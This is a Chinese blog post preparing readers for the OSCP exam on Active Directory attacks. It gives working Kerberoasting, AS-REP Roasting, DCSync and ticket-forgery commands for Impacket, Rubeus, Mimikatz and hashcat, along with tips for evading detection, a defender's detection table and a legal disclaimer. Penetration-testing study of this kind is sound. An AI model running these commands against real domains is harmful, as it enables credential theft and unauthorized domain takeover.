OSCP百日备考25|AD域攻击(上):Kerberoasting+AS-REP+DCSync+票据四兄弟,一次性掏空整个域
泷羽Sec-陌离
2026年10月9日 20:56
宁夏
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
OSCP/OSEP一对一私教直通车:协议保障,直通高级渗透测试专家
域渗透的第一法则:不要\"打\"域,要\"骗\"域
大家好,这里是[泷羽Sec—陌离]。
先说个事:这几天后台被问爆了同一个问题——\"学长,域渗透到底从哪下手?\"还有人说他打 AD 靶机,卡在拿到一个域用户之后就断层了,Mimikatz 跑完不知道该干嘛。
我理解这种断层感。因为域渗透和你之前打的单机题是两套完全不同的逻辑:单机题是\"找漏洞 → 打进去 → 提权\";域渗透是\"找一个身份 → 用这个身份去骗更多身份 → 直到你有最高身份\"。你在域里不是在\"打洞\",你是在\"扮演别人\"。
这期开始进入 OSCP+ 考试里分值最高的部分——Active Directory 攻击。AD 集占 40 分,是整个考试单块分数的天花板,而且现在的 OSCP+ 是假定已被攻陷(assumed compromise)开局:考试直接把一个普通域用户的凭据给你,让你从这个起点一路打到域控。也就是说,考试考的就是这一整套\"从低权身份滚到域管\"的链路。
内容量很大,我拆上下两期:
- 上篇(本期):身份攻击——Kerberoasting、AS-REP Roasting、DCSync、票据伪造四兄弟
- 下篇(第26期):权限提升与委派——ACL 滥用、委派攻击、RBCD、Shadow Credentials、ADCS
一、先划生死线:考试能用什么?
| 技术/工具 | 考试 | 实战 | 说明 |
|---|---|---|---|
| Kerberoasting | ✅ | ✅✅✅ | AD 集高频考点,离线爆破 |
| AS-REP Roasting | ✅ | ✅✅✅ | 无需认证即可发起 |
| Rubeus | ✅ | ✅✅✅ | Kerberos 全能工具箱 |
| Impacket(GetUserSPNs/GetNPUsers) | ✅ | ✅✅✅ | Linux 侧主力 |
| hashcat / john | ✅ | ✅✅✅ | 离线爆破票据哈希 |
| DCSync | ✅ | ✅✅✅ | 域内终极目标 |
| Mimikatz / secretsdump | ✅ | ✅✅✅ | 凭据提取双雄 |
| 黄金/白银/钻石/蓝宝石票据 | ✅ | ✅✅✅ | 票据伪造全家桶 |
| BloodHound CE | ✅ | ✅✅✅ | 找攻击路径(上期讲过) |
| 自动化漏洞扫描器 | ❌ | ✅ | Nessus 等禁止 |
| Metasploit | ⚠️限1台 | ✅ | 老规矩 |
⚠️ AD 攻击的\"工具红线\"其实很宽松——Kerberoasting、DCSync、票据伪造全是手工命令,考试随便用。真正的限制只有两条:自动化扫描器禁用、MSF 限一台。注意:AD 集开局给你的域用户凭据不算 MSF 限制范围,但如果你要用 MSF 打 AD,那台机器就占掉你唯一的 MSF 名额,慎重。
二、说人话:Kerberos 到底怎么工作的?
要玩转域攻击,你得先理解 Kerberos 这套\"售票系统\"。它是整个 AD 攻击的地基,不然你连票据名字都分不清。
Kerberos 的本质:一个\"发门票的系统\"。 你想进某个服务(比如文件共享),不能直接进,得先找\"售票处\"换票。
[你(用户)] ──────①AS-REQ──────→ [KDC(域控)]
←────②AS-REP(TGT)──── ← 第一张票:TGT(通行证)
[你(用户)] ──────③TGS-REQ─────→ [KDC(域控)]
←────④TGS-REP(TGS)─── ← 第二张票:TGS(服务票)
[你(用户)] ──────⑤带着TGS─────→ [目标服务]
←────⑥允许访问───────
四个关键角色:
- KDC:域控上的\"售票处\",签发所有票
- TGT(Ticket Granting Ticket):证明\"你是谁\"的身份证,用 krbtgt 账户的密钥加密
- TGS(Ticket Granting Service):证明\"你能进哪个服务\"的门票,用目标服务账户的密钥加密
- SPN(Service Principal Name):服务的\"唯一标识符\",长这样
MSSQLSvc/sql01.corp.local:1433
记住这张图,后面所有攻击都是攻它的不同环节:
- 攻击 AS-REP 环节 → 叫 AS-REP Roasting
- 攻击 TGS-REP 环节 → 叫 Kerberoasting
- 伪造 TGT → 叫黄金票据
- 伪造 TGS → 叫白银票据
核心破绽:这些票的加密密钥,本质上就是账户的密码哈希。你只要拿到用某个账户密钥加密的票,就能离线爆破出这个账户的密码哈希——这就是 Kerberoasting 和 AS-REP Roasting 的全部原理。
三、Kerberoasting:把服务账户的哈希\"烤\"出来
原理一句话
任何域用户都能向 KDC 申请任意 SPN 的服务票据(TGS),而这张票是用服务账户的密码哈希加密的。你把票要过来,拿回家离线慢慢爆破,就能得到服务账户的明文密码。
为什么能成立?因为 Kerberos 的设计里,\"申请服务票据\"这个动作不需要任何特权——普通域用户也能干。你申请 100 张票,KDC 就老老实实签 100 张给你,每张都用对应服务账户的密钥加密。你要做的就是把它们拖回本地,用 hashcat 暴力拆解。
为什么这是 AD 攻击的\"头号甜点\"? 因为服务账户(service account)有几个致命特点:
- 密码很少更换(改一次要重启一堆服务)
- 密码通常很短(很多是 8-12 位,为了方便记)
- 服务账户往往有高权限(比如 SQL 服务账户可能在本机是管理员,甚至在域里有委派权限)
环境前提
- 你有一个可用的域用户凭据(明文密码或哈希都行)
- 目标域里存在配置了 SPN 的域账户(服务账户)
实战命令(Linux 侧,Kali)
# ===== 第一步:枚举所有配置了 SPN 的域账户 =====
# 这些就是要烤的\"肉\"——每个 SPN 账户都是一块待爆破的哈希
python3 GetUserSPNs.py corp.local/lowpriv:Password123 -dc-ip 10.10.10.1 -request
# 参数说明:
# corp.local/lowpriv:Password123 域/用户名:密码
# -dc-ip 域控 IP
# -request 关键!直接请求票据并输出哈希
输出长这样(重点看 $krb5tgs$ 开头的行):
ServicePrincipalName Name MemberOf PasswordLastSet
---------------------------- ---------- ------------------- -----------------
MSSQLSvc/sql01.corp.local:1433 svc_sql CN=Domain Admins,... 2023-05-12 09:14
$krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/sql01.corp.local:1433*$1a2b3c4d...
⚠️ 注意看 MemberOf 那一列——如果服务账户是 Domain Admins 成员,那这条哈希的价值直接拉满。
# ===== 第二步:拿哈希去离线爆破(考试核心)=====
# hashcat 方式(推荐,速度快)
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt
# -m 13100 = Kerberoasting 的 RC4-HMAC 模式
# hash.txt 里放 $krb5tgs$ 开头那整行
# 如果目标域强制 AES 加密(票是 $krb5tgs$18$ 开头),改用:
hashcat -m 19700 hash.txt /usr/share/wordlists/rockyou.txt
# -m 19700 = Kerberoasting 的 AES-256 模式
# john 方式
john --format=krb5tgs hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Windows 侧(Rubeus)
如果在 Windows 上操作(比如你已经拿到一台 Windows 机器的 shell):
# ===== 一键请求所有 SPN 账户的票据 =====
.\\Rubeus.exe kerberoast /outfile:hashes.txt
# 参数说明:
# kerberoast 开启 Kerberoasting 模式
# /outfile 把哈希写进文件,方便拷回攻击机
# ===== 只烤高价值目标(域管成员的服务账户)=====
.\\Rubeus.exe kerberoast /ldapfilter:\"(admincount=1)\" /outfile:vip.txt
⚠️ 校准提醒:Kerberoasting 的三个现代变化
- AES 导致难度上升。现在的域很多默认用 AES 加密票据(
$krb5tgs$18$),爆破难度比老的 RC4($krb5tgs$23$)高很多——因为 hashcat 处理 AES 的模式(-m 19700)速度慢得多。所以考试环境如果跑 RC4 模式(-m 13100),破解成功率远高于 AES 模式。看到$krb5tgs$23$先松一口气。 - 不要只烤不爆。很多人 Kerberoasting 完,拿着哈希不知道怎么处理就卡住了。记住:\\Kerberoasting 的终点是\"拿到服务账户明文密码或哈希\"\\,拿到哈希后直接 PtH(上期讲的),不必非要爆出明文。
- Requesting 但不请求也可能有用。如果你有更隐蔽的需求,可以只枚举 SPN 账户(不加
-request)先看目标,确定了再精准请求——少一次 LDAP 查询就少一分日志。
四、AS-REP Roasting:连密码都不需要的爆破
原理一句话
如果某个域用户关闭了\"Kerberos 预认证\"(DONT\_REQ\_PREAUTH),那么任何人在不知道密码的情况下,都能向 KDC 索要一张用该用户密码哈希加密的 AS-REP 响应。拿回来离线爆破,就能得到这个用户的密码。
什么叫\"预认证\"? 正常流程下,你申请 TGT 时要先证明\"我知道密码\"(预认证),KDC 才会给你票。但如果这个开关被关掉(有些管理员图方便,或老应用需要),KDC 就会在验证前就把票发给你——这张票还是用该用户密钥加密的。
Kerberoasting vs AS-REP Roasting 的核心区别:
| 维度 | Kerberoasting | AS-REP Roasting |
|---|---|---|
| 攻击目标 | 配置了 SPN 的服务账户 | 关闭预认证的普通用户 |
| 是否需要凭据 | ✅ 需要一个有效域用户 | ❌ 完全不需要 |
| 票据加密密钥 | 服务账户哈希 | 目标用户哈希 |
| 加密类型 | RC4/AES | RC4(几乎总是) |
| 常见程度 | 极常见(服务账户普遍) | 少见(开关默认是开的) |
| OSCP 频率 | ⭐⭐⭐⭐⭐ | ⭐⭐⭐⭐ |
实战命令
# ===== 场景一:完全无凭据(连域用户都没有)=====
# 先枚举哪些用户关闭了预认证
python3 GetNPUsers.py corp.local/ -dc-ip 10.10.10.1 -usersfile users.txt -format hashcat
# 参数说明:
# corp.local/ 注意这里是空的用户/密码,表示无凭据
# -usersfile users.txt 候选用户名列表(没有就用下面的自动枚举)
# -format hashcat 输出 hashcat 能吃的格式
# ===== 场景二:自动枚举关闭预认证的用户(不需要用户名字典)=====
python3 GetNPUsers.py corp.local/lowpriv:Password123 -dc-ip 10.10.10.1 -request
# ===== 场景三:有凭据但不确定用户名 =====
python3 GetNPUsers.py corp.local/lowpriv:Password123 -dc-ip 10.10.10.1 -usersfile users.txt -request
输出长这样($krb5asrep$ 开头):
[email protected]:8f7e6d5c...
# ===== 爆破(模式注意,不叫 13100 了!)=====
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
# -m 18200 = AS-REP Roasting 模式(和 Kerberoasting 的 13100 不是一个!)
# john 方式
john --format=krb5asrep hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Windows 侧(Rubeus)
# ===== 枚举所有关闭预认证的用户并请求票据 =====
.\\Rubeus.exe asreproast /outfile:asrep.txt
# ===== 针对特定用户 =====
.\\Rubeus.exe asreproast /user:svc_backup /outfile:asrep.txt
# 注意:Rubeus 输出的哈希格式和 hashcat 略有差异
# 需要手动整理成 $krb5asrep$23$用户@域名:哈希 的格式
💡 怎么在考试里找到\"关闭预认证\"的用户?
BloodHound 的 Cypher 查询直接给你答案:
// BloodHound 查询:找到所有关闭预认证的用户
MATCH (u:User {dontreqpreauth:true}) RETURN u
或者用 LDAP 查询(Linux 侧):
# 用 ldapsearch 查 userAccountControl 含 4194304(DONT_REQ_PREAUTH)的用户
ldapsearch -x -H ldap://10.10.10.1 -D '[email protected]' -w 'Password123' \\
-b 'DC=corp,DC=local' '(&(objectCategory=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))' sAMAccountName
五、DCSync:从域控直接\"复制\"出全域哈希(终极目标)
原理一句话
域控之间同步数据用的是一个叫 DRSUAPI 的复制协议。如果你有\"目录复制\"权限,你就能伪装成一台域控,向真域控请求把密码哈希\"同步\"给你——等于合法地偷走全世界的密码。
这是整个 AD 攻击的终点站。拿到 DCSync 权限 = 拿到全域所有账户的 NTLM 哈希,包括 krbtgt(黄金票据的原料)和所有域管。
谁有 DCSync 权限?
默认只有 Domain Admins、Enterprise Admins、Domain Controllers 这些高权组成员的账户有。但实战里经常有配置错误导致普通账户意外获得这个权限,典型的有:
- 某账户被授了
DS-Replication-Get-Changes和DS-Replication-Get-Changes-All两个权限 - Exchange 的
Exchange Trusted Subsystem组(默认就有) - 各种误配的服务账户
考试里怎么找? BloodHound 里查:
// BloodHound:找到所有具备 DCSync 权限的主体
MATCH (n1)-[:DCSync|GetChanges|GetChangesAll*1..]->(d:Domain)
RETURN n1
预置查询里也有现成的 \\\"Find Principals with DCSync Rights\"\\。
实战命令
# ===== 方式一:明文密码(有 DCSync 权限的账户)=====
python3 secretsdump.py corp.local/dcsync_user:[email protected]
# ===== 方式二:PtH(拿到哈希代替密码)=====
python3 secretsdump.py -hashes :aad3b435b51404eeaad3b435b51404ee corp.local/[email protected]
# ===== 方式三:只要 krbtgt(考试里最关键的单个目标)=====
python3 secretsdump.py corp.local/dcsync_user:[email protected] -just-dc-user krbtgt
# ===== 方式四:只要某个用户的哈希 =====
python3 secretsdump.py corp.local/dcsync_user:[email protected] -just-dc-user Administrator
输出(关键行):
[*] Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash)
CORP.LOCAL\\krbtgt:502:aad3b435b51404eeaad3b435b51404ee:7a3f...::
CORP.LOCAL\\Administrator:500:aad3b435b51404eeaad3b435b51404ee:1b2c...::
krbtgt:502:... 那行就是你梦寐以求的东西——黄金票据的密钥。
🛑 考试避坑:DCSync 不等于\"必须搞到域管\"
很多人以为 DCSync 一定要先拿下域管,错。DCSync 的前提只是\"具备复制权限的账户\",而这个账户经常是:
- Service Account(误配权限)
- 某个被加了权限的普通用户
- 甚至是一个机器账户
BloodHound 会直接告诉你哪个账户能 DCSync。 考试里别死磕域管,先看看手里这个账户有没有 DCSync 权限——有的话直接起飞。
六、票据伪造四兄弟:黄金、白银、钻石、蓝宝石
这是本期最\"高级\"的部分,也是很多人分不清的地方。我一次性讲透。
先建立一个认知:票据伪造的是\"票\",不是\"密码\"
你不需要知道任何人的密码。你只要拿到某个密钥,就能自己\"印\"出一张票来。印谁的票、印哪张票,决定了你能干什么。
四兄弟对比(这张表建议收藏)
| 票据 | 用什么密钥伪造 | 伪造的是什么票 | 权限范围 | 隐蔽性 | 检测难度 |
|---|---|---|---|---|---|
| 黄金票据 | krbtgt 哈希 | TGT(全新伪造) | 全域任意服务 | 较低 | 高(无 4768 记录) |
| 白银票据 | 服务账户哈希 | TGS(针对特定服务) | 单个服务的单台机器 | 中 | 很高(不碰域控) |
| 钻石票据 | krbtgt 哈希 | TGT(基于合法票修改) | 全域任意服务 | 高 | 很高(有真实请求记录) |
| 蓝宝石票据 | krbtgt 哈希 | TGT(注入真实管理员 PAC) | 全域任意服务 | 最高 | 极高(PAC 完全真实) |
1. 黄金票据(Golden Ticket)——\"我造了一张通票\"
原理:用 krbtgt 的哈希自己签一张 TGT,里面随便写\"我是域管理员\"。
# ===== Impacket ticketer.py(Linux 侧)=====
python3 ticketer.py -nthash <krbtgt的NTLM哈希> \\
-domain-sid S-1-5-21-1234567890-1234567890-1234567890 \\
-domain corp.local Administrator
# 参数说明:
# -nthash krbtgt 的 NTLM 哈希(DCSync 拿到的)
# -domain-sid 域的 SID(whoami /user 或 DCSync 输出里能看到)
# -domain 域名
# 最后的 Administrator 是你想冒充的用户名
# ===== 使用票据 =====
export KRB5CCNAME=Administrator.ccache
python3 psexec.py -k -no-pass corp.local/[email protected]
# ===== Mimikatz 方式(Windows 侧)=====
mimikatz # kerberos::golden /user:FakeAdmin /domain:corp.local /sid:S-1-5-21-xxx /krbtgt:<哈希> /ptt
# /ptt 表示直接把票注入当前会话,之后你访问任何域资源都是以 FakeAdmin 身份
# ===== Rubeus 方式 =====
.\\Rubeus.exe golden /rc4:<krbtgt哈希> /domain:corp.local /sid:S-1-5-21-xxx /user:FakeAdmin /ptt
⚠️ OPSEC 提醒:Mimikatz 默认签 10 年有效期的票——这是自杀式操作,任何 IDS 看到 10 年期的 TGT 都知道你在搞事。实战要用 /endin:600(600 分钟)匹配域默认策略。考试无所谓,实战必须改。
2. 白银票据(Silver Ticket)——\"我只造一张进某个门的票\"
原理:用某个服务账户的哈希伪造一张针对特定服务的 TGS。不经过域控,直接在目标机器上使用。
# ===== Impacket ticketer.py =====
python3 ticketer.py -nthash <服务账户哈希> \\
-domain-sid S-1-5-21-xxx -domain corp.local \\
-spn cifs/dc01.corp.local Administrator
# -spn 指定目标服务:cifs(文件共享)、http(Web)、mssql(数据库)等
export KRB5CCNAME=Administrator.ccache
python3 smbclient.py -k -no-pass corp.local/[email protected]
白银票据的关键特点:
- 不接触域控(所以 DC 上 Event 4768/4769 完全没有记录)
- 只能访问那个服务所在的那台机器
- 需要先拿到服务账户的哈希——而 Kerberoasting 正好能提供这个!
这就是为什么 Kerberoasting + 白银票据是绝配:Kerberoast 拿服务账户哈希 → 直接伪造该服务的白银票据 → 无需破解明文即可访问。
3. 钻石票据(Diamond Ticket)——\"我把真票改了改\"
原理:不凭空造票,而是先老老实实向 KDC 申请一张合法 TGT(有真实的请求记录 Event 4768),然后用 krbtgt 密钥解密这张票、修改里面的 PAC(权限信息)、重新签名。
为什么钻石票更隐蔽? 因为安全设备检测黄金票据的核心逻辑是\"发现有 TGS 请求但没有对应的 TGT 请求记录\"。钻石票据有完整的、真实的 4768 记录,看起来就像一次正常登录。
# ===== Rubeus 钻石票据 =====
# 前提:你已有低权用户的合法凭据 + krbtgt 哈希
.\\Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /krbkey:<krbtgt的AES256密钥> /ptt
# 参数说明:
# /tgtdeleg 使用当前会话的票据委派(走正常请求流程)
# /krbkey krbtgt 的 AES256 密钥(比 RC4 更不易触发告警)
# /ticketuser 要冒充成谁
⚠️ 重要校准:Rubeus 的 diamond 更推荐用 AES256 密钥(/krbkey)而不是 RC4。因为现代域普遍启用 AES,用 RC4(0x17)签的票在纯 AES 环境里是异常信号,会触发告警。用 AES256(0x12)签名才融入正常流量。
4. 蓝宝石票据(Sapphire Ticket)——\"我偷了真管理员的身份\"
原理:最隐蔽的一种。利用 Kerberos 的 S4U2Self + U2U(User-to-User) 机制,让 KDC 主动生成一个真实域管理员的合法 PAC,然后把这个真实 PAC 塞进你自己的低权票据里。
为什么说它最隐蔽? 因为黄金/钻石票的 PAC 都是\"攻击者手搓\"的(哪怕钻石票也是修改过的),而蓝宝石票的 PAC 是 KDC 亲手签发的真货——没有任何伪造痕迹。所有字段、签名、时间戳都是真实的。
# ===== Rubeus 蓝宝石票据 =====
# 需要:krbtgt 的 AES256 密钥 + 一个可用的低权账户凭证
.\\Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /krbkey:<krbtgt AES256密钥> /sapphire /ptt
# /sapphire 参数启用 S4U2Self+U2U 取真实 PAC 的流程
❝
💡 四种票的关系可以这样记:黄金 = 自己造身份证|白银 = 自己造门票(只管一个门)钻石 = 拿真身份证涂改|蓝宝石 = 直接把真管理员的脸贴上
5. 票据的检测与防御(蓝队视角,也是考试理论题)
| 检测点 | 说明 |
|---|---|
| 4769 无 4768 | 有服务票请求却没有 TGT 请求 → 典型的黄金票特征 |
| 加密类型异常 | 0x17 (RC4) 出现在本该用 0x12(AES) 的环境里 |
| 票据生命周期超长 | 远超域策略(默认 10 小时)的票 |
| 不存在的账户 | 票据里的用户名在 AD 里根本找不到(如 FakeAdmin) |
| DC 机器账户异常认证 | DC$ 主动向成员服务器认证 → 非约束委派攻击的签名(下期讲) |
防御 krbtgt 泄露的唯一有效手段:双重轮换(Double Rotation)——把 krbtgt 密码改两次,两次之间间隔至少 10 小时(等于最大票据生命周期)。
- 第一次轮换:旧哈希失效,无法再签新票
- 第二次轮换:所有用第一次新哈希签的票也失效
- 微软官方脚本:
New-KrbtgtKeys.ps1
七、完整 AD 攻击链(上半场)
[起点] 拿到一个普通域用户凭据(OSCP+ 假定已攻陷场景)
│
├─[1] 域信息收集(上期内容)
│ └─ BloodHound 跑一遍 → 找出所有可利用的路径
│
├─[2] Kerberoasting → 烤出服务账户哈希
│ └─ hashcat -m 13100 爆破 → 拿到服务账户密码
│
├─[3] AS-REP Roasting → 烤出关闭预认证用户的哈希
│ └─ hashcat -m 18200 爆破 → 拿到用户密码
│
├─[4] 用新凭据横向(上期 PtH/PtT)→ 摸到更高权限机器
│
├─[5] 找到 DCSync 权限账户
│ └─ BloodHound \"Find Principals with DCSync Rights\"
│
├─[6] DCSync → 掏出 krbtgt + 全域哈希 🎯
│
└─[7] 伪造黄金/钻石/蓝宝石票据 → 永久控制整个域
典型考试场景还原(AD 集):考试给你 lowpriv:Password123 → 跑 BloodHound 发现 svc_sql 是 Domain Admins → Kerberoast 拿下 svc_sql 哈希 → hashcat 爆破出明文 → 用 svc_sql 登录域控 → DCSync 拿 krbtgt → 伪造黄金票据 → 读 proof.txt → 40 分到手。
但注意:现实考卷往往更绕——可能要用 AS-REP 先拿一个小账户,再用它去 Kerberoast,再横向……这条链上的每一环,都是本期和上期讲的东西。
八、避坑指南 🚨
- Kerberoasting 的 hashcat 模式别搞混——RC4 是
-m 13100,AES256 是-m 19700,AS-REP 是-m 18200。三个数字记牢,用错模式会显示\"破解失败\"但其实是模式不匹配。 - AS-REP 不需要任何凭据——很多人以为要先有域账号。错。只要目标用户关了预认证,你匿名就能要票。这是没有初始凭据时最该先试的一招。
- Kerberoast 完先看 MemberOf——别急着爆破所有哈希。先看哪个服务账户在 Domain Admins 组里,优先烤高价值的,省时间。
- DCSync 不一定需要域管——先查 BloodHound 的 DCSync 路径,很多考试题就是让你用某个\"意外具备复制权限\"的普通账户去打,别一头扎进\"必须先拿域管\"的死胡同。
- 黄金票据的 10 年有效期是实战自杀——考试无所谓,实战一定用
/endin:600或直接伪造符合域策略的时长。10 年期的 TGT 是给蓝队送礼。 - 优先用 AES256 而非 RC4 伪造——现代域普遍启用 AES,RC4(0x17)签名是异常信号。Rubeus 用
/krbkey(AES256)而不是/rc4。考试若环境全 RC4 则无所谓。 - 白银票据需要服务账户哈希,不等于需要明文——Kerberoast 拿到哈希就能直接伪造白银票,不必先破解出密码。这一环经常能省掉大量爆破时间。
- 票据文件(.ccache/.kirbi)要跟着你走——用 Impacket 时
export KRB5CCNAME=/path/to/ticket.ccache是必须的,忘了设置环境变量会报\"无票据\"。而且每换一台机器要重新传递票据。
九、免责声明 ⚠️
[请务必读完]
本文所述所有渗透测试技术、工具和方法,仅供安全从业者在已获合法书面授权的环境中进行学习研究和能力认证备考使用。
未经目标所有者明确授权,对任何系统、网络、应用进行渗透测试、漏洞扫描或任何形式的攻击尝试,均可能构成违法犯罪行为。
请严格遵守《中华人民共和国网络安全法》《中华人民共和国数据安全法》《中华人民共和国个人信息保护法》及相关法律法规。任何利用本文内容实施的非法行为,与本文作者无关。
本文涉及的认证信息仅基于公开可查资料整理,不代表 Offensive Security 官方立场。考试规则、工具限制等详情请以 OffSec 官网最新公告为准。
网络不是法外之地。技术是工具,守住法律底线比学会任何漏洞都重要。
十、下期预告 🔜
第26期(下):AD 攻击下半场——ACL 滥用(GenericAll/WriteDACL)、约束/非约束委派攻击、RBCD 基于资源的约束委派、Shadow Credentials 影子凭据、ADCS 证书服务攻击(ESC1-ESC16)!AD 攻击的最后一块拼图,把\"权限提升\"这条路彻底打通!
关注不迷路 👇 评论区聊聊:你打 AD 靶机最卡在哪一步?Kerberoasting 还是 DCSync?
OSCP/OSEP一对一私教直通车:协议保障,直通高级渗透测试专家
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论